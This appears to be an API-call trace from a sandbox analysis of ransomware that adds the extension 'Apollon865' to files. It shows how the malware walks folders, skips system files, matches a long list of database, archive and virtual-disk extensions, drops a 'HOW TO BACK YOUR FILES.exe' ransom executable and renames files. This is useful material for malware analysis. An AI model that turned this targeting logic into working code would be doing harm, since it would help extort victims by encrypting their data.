	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="boot") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="ids.txt") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="ntuser.dat") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="perflogs") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="MSBuild") returned 1
	[0051.191] lstrlenW (lpString="watermark.png") returned 13
	[0051.192] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 96
	[0051.192] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="watermark.png" | out: lpString1="watermark.png") returned="watermark.png"
	[0051.192] lstrlenW (lpString="watermark.png") returned 13
	[0051.192] lstrlenW (lpString="Apollon865") returned 10
	[0051.192] lstrcmpiW (lpString1="ermark.png", lpString2="Apollon865") returned 1
	[0051.192] lstrlenW (lpString=".dll") returned 4
	[0051.192] lstrcmpiW (lpString1="watermark.png", lpString2=".dll") returned 1
	[0051.192] lstrlenW (lpString=".lnk") returned 4
	[0051.192] lstrcmpiW (lpString1="watermark.png", lpString2=".lnk") returned 1
	[0051.192] lstrlenW (lpString=".ini") returned 4
	[0051.192] lstrcmpiW (lpString1="watermark.png", lpString2=".ini") returned 1
	[0051.192] lstrlenW (lpString=".sys") returned 4
	[0051.192] lstrcmpiW (lpString1="watermark.png", lpString2=".sys") returned 1
	[0051.192] lstrlenW (lpString="watermark.png") returned 13
	[0051.192] lstrlenW (lpString="bak") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.192] lstrlenW (lpString="ba_") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.192] lstrlenW (lpString="dbb") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.192] lstrlenW (lpString="vmdk") returned 4
	[0051.192] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.192] lstrlenW (lpString="rar") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.192] lstrlenW (lpString="zip") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.192] lstrlenW (lpString="tgz") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.192] lstrlenW (lpString="vbox") returned 4
	[0051.192] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.192] lstrlenW (lpString="vdi") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.192] lstrlenW (lpString="vhd") returned 3
	[0051.192] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.193] lstrlenW (lpString="vhdx") returned 4
	[0051.193] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.193] lstrlenW (lpString="avhd") returned 4
	[0051.193] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.193] lstrlenW (lpString="db") returned 2
	[0051.193] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.193] lstrlenW (lpString="db2") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.193] lstrlenW (lpString="db3") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.193] lstrlenW (lpString="dbf") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.193] lstrlenW (lpString="mdf") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.193] lstrlenW (lpString="mdb") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.193] lstrlenW (lpString="sql") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.193] lstrlenW (lpString="sqlite") returned 6
	[0051.193] lstrcmpiW (lpString1="rk.png", lpString2="sqlite") returned -1
	[0051.193] lstrlenW (lpString="sqlite3") returned 7
	[0051.193] lstrcmpiW (lpString1="ark.png", lpString2="sqlite3") returned -1
	[0051.193] lstrlenW (lpString="sqlitedb") returned 8
	[0051.193] lstrcmpiW (lpString1="mark.png", lpString2="sqlitedb") returned -1
	[0051.193] lstrlenW (lpString="xml") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.193] lstrlenW (lpString="$er") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.193] lstrlenW (lpString="4dd") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.193] lstrlenW (lpString="4dl") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.193] lstrlenW (lpString="^^^") returned 3
	[0051.193] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.194] lstrlenW (lpString="abs") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.194] lstrlenW (lpString="abx") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.194] lstrlenW (lpString="accdb") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accdb") returned 1
	[0051.194] lstrlenW (lpString="accdc") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accdc") returned 1
	[0051.194] lstrlenW (lpString="accde") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accde") returned 1
	[0051.194] lstrlenW (lpString="accdr") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accdr") returned 1
	[0051.194] lstrlenW (lpString="accdt") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accdt") returned 1
	[0051.194] lstrlenW (lpString="accdw") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accdw") returned 1
	[0051.194] lstrlenW (lpString="accft") returned 5
	[0051.194] lstrcmpiW (lpString1="k.png", lpString2="accft") returned 1
	[0051.194] lstrlenW (lpString="adb") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.194] lstrlenW (lpString="adb") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.194] lstrlenW (lpString="ade") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.194] lstrlenW (lpString="adf") returned 3
	[0051.194] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.194] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0051.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0051.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0051.195] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0051.195] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0051.195] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.195] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.195] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.195] GetLastError () returned 0x0
	[0051.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.195] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.195] CloseHandle (hObject=0x15c) returned 1
	[0051.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.196] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.196] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.196] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.196] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.196] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.196] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.196] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0051.196] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0051.196] lstrlenW (lpString="background.png") returned 14
	[0051.196] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 85
	[0051.196] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0051.196] lstrlenW (lpString="background.png") returned 14
	[0051.197] lstrlenW (lpString="Apollon865") returned 10
	[0051.197] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0051.197] lstrlenW (lpString=".dll") returned 4
	[0051.197] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0051.197] lstrlenW (lpString=".lnk") returned 4
	[0051.197] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0051.197] lstrlenW (lpString=".ini") returned 4
	[0051.197] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0051.197] lstrlenW (lpString=".sys") returned 4
	[0051.197] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0051.197] lstrlenW (lpString="background.png") returned 14
	[0051.197] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0051.197] lstrlenW (lpString="behavior.xml") returned 12
	[0051.197] lstrlenW (lpString="Apollon865") returned 10
	[0051.197] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0051.197] lstrlenW (lpString=".dll") returned 4
	[0051.197] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0051.197] lstrlenW (lpString=".lnk") returned 4
	[0051.197] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0051.197] lstrlenW (lpString=".ini") returned 4
	[0051.197] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0051.197] lstrlenW (lpString=".sys") returned 4
	[0051.197] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0051.197] lstrlenW (lpString="behavior.xml") returned 12
	[0051.197] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.Apollon865") returned 107
	[0051.197] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.198] GetLastError () returned 0x5
	[0051.198] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml MoveFileEx error 5\r\n") returned 125
	[0051.198] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml MoveFileEx error 5\r\n") returned 125
	[0051.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.198] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a1e
	[0051.198] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7d, lpOverlapped=0x0) returned 1
	[0051.198] CloseHandle (hObject=0x14c) returned 1
	[0051.198] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.198] CloseHandle (hObject=0x0) returned 0
	[0051.198] CloseHandle (hObject=0x0) returned 0
	[0051.198] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2=".") returned 1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="..") returned 1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="windows") returned -1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="bootmgr") returned 1
	[0051.198] lstrcmpiW (lpString1="device.png", lpString2="temp") returned -1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="pagefile.sys") returned -1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="boot") returned 1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="ids.txt") returned -1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="ntuser.dat") returned -1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="perflogs") returned -1
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2="MSBuild") returned -1
	[0051.199] lstrlenW (lpString="device.png") returned 10
	[0051.199] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 96
	[0051.199] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="device.png" | out: lpString1="device.png") returned="device.png"
	[0051.199] lstrlenW (lpString="device.png") returned 10
	[0051.199] lstrlenW (lpString="Apollon865") returned 10
	[0051.199] lstrlenW (lpString=".dll") returned 4
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2=".dll") returned 1
	[0051.199] lstrlenW (lpString=".lnk") returned 4
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2=".lnk") returned 1
	[0051.199] lstrlenW (lpString=".ini") returned 4
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2=".ini") returned 1
	[0051.199] lstrlenW (lpString=".sys") returned 4
	[0051.199] lstrcmpiW (lpString1="device.png", lpString2=".sys") returned 1
	[0051.199] lstrlenW (lpString="device.png") returned 10
	[0051.199] lstrlenW (lpString="bak") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.199] lstrlenW (lpString="ba_") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.199] lstrlenW (lpString="dbb") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.199] lstrlenW (lpString="vmdk") returned 4
	[0051.199] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.199] lstrlenW (lpString="rar") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.199] lstrlenW (lpString="zip") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.199] lstrlenW (lpString="tgz") returned 3
	[0051.199] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.200] lstrlenW (lpString="vbox") returned 4
	[0051.200] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.200] lstrlenW (lpString="vdi") returned 3
	[0051.200] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.200] lstrlenW (lpString="vhd") returned 3
	[0051.201] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.201] lstrlenW (lpString="vhdx") returned 4
	[0051.201] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.201] lstrlenW (lpString="avhd") returned 4
	[0051.201] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.201] lstrlenW (lpString="db") returned 2
	[0051.201] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.201] lstrlenW (lpString="db2") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.202] lstrlenW (lpString="db3") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.202] lstrlenW (lpString="dbf") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.202] lstrlenW (lpString="mdf") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.202] lstrlenW (lpString="mdb") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.202] lstrlenW (lpString="sql") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.202] lstrlenW (lpString="sqlite") returned 6
	[0051.202] lstrcmpiW (lpString1="ce.png", lpString2="sqlite") returned -1
	[0051.202] lstrlenW (lpString="sqlite3") returned 7
	[0051.202] lstrcmpiW (lpString1="ice.png", lpString2="sqlite3") returned -1
	[0051.202] lstrlenW (lpString="sqlitedb") returned 8
	[0051.202] lstrcmpiW (lpString1="vice.png", lpString2="sqlitedb") returned 1
	[0051.202] lstrlenW (lpString="xml") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.202] lstrlenW (lpString="$er") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.202] lstrlenW (lpString="4dd") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.202] lstrlenW (lpString="4dl") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.202] lstrlenW (lpString="^^^") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.202] lstrlenW (lpString="abs") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.202] lstrlenW (lpString="abx") returned 3
	[0051.202] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.202] lstrlenW (lpString="accdb") returned 5
	[0051.202] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1
	[0051.202] lstrlenW (lpString="accdc") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1
	[0051.203] lstrlenW (lpString="accde") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1
	[0051.203] lstrlenW (lpString="accdr") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1
	[0051.203] lstrlenW (lpString="accdt") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1
	[0051.203] lstrlenW (lpString="accdw") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1
	[0051.203] lstrlenW (lpString="accft") returned 5
	[0051.203] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1
	[0051.203] lstrlenW (lpString="adb") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.203] lstrlenW (lpString="adb") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.203] lstrlenW (lpString="ade") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.203] lstrlenW (lpString="adf") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.203] lstrlenW (lpString="adn") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0051.203] lstrlenW (lpString="adp") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0051.203] lstrlenW (lpString="alf") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0051.203] lstrlenW (lpString="ask") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0051.203] lstrlenW (lpString="btr") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0051.203] lstrlenW (lpString="cat") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0051.203] lstrlenW (lpString="cdb") returned 3
	[0051.203] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0051.203] lstrlenW (lpString="ckp") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0051.204] lstrlenW (lpString="cma") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0051.204] lstrlenW (lpString="cpd") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0051.204] lstrlenW (lpString="dacpac") returned 6
	[0051.204] lstrcmpiW (lpString1="ce.png", lpString2="dacpac") returned -1
	[0051.204] lstrlenW (lpString="dad") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0051.204] lstrlenW (lpString="dadiagrams") returned 10
	[0051.204] lstrlenW (lpString="daschema") returned 8
	[0051.204] lstrcmpiW (lpString1="vice.png", lpString2="daschema") returned 1
	[0051.204] lstrlenW (lpString="db-journal") returned 10
	[0051.204] lstrlenW (lpString="db-shm") returned 6
	[0051.204] lstrcmpiW (lpString1="ce.png", lpString2="db-shm") returned -1
	[0051.204] lstrlenW (lpString="db-wal") returned 6
	[0051.204] lstrcmpiW (lpString1="ce.png", lpString2="db-wal") returned -1
	[0051.204] lstrlenW (lpString="dbc") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0051.204] lstrlenW (lpString="dbs") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0051.204] lstrlenW (lpString="dbt") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0051.204] lstrlenW (lpString="dbv") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0051.204] lstrlenW (lpString="dbx") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0051.204] lstrlenW (lpString="dcb") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0051.204] lstrlenW (lpString="dct") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0051.204] lstrlenW (lpString="dcx") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0051.204] lstrlenW (lpString="ddl") returned 3
	[0051.204] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0051.205] lstrlenW (lpString="dlis") returned 4
	[0051.205] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0051.205] lstrlenW (lpString="dp1") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0051.205] lstrlenW (lpString="dqy") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0051.205] lstrlenW (lpString="dsk") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0051.205] lstrlenW (lpString="dsn") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
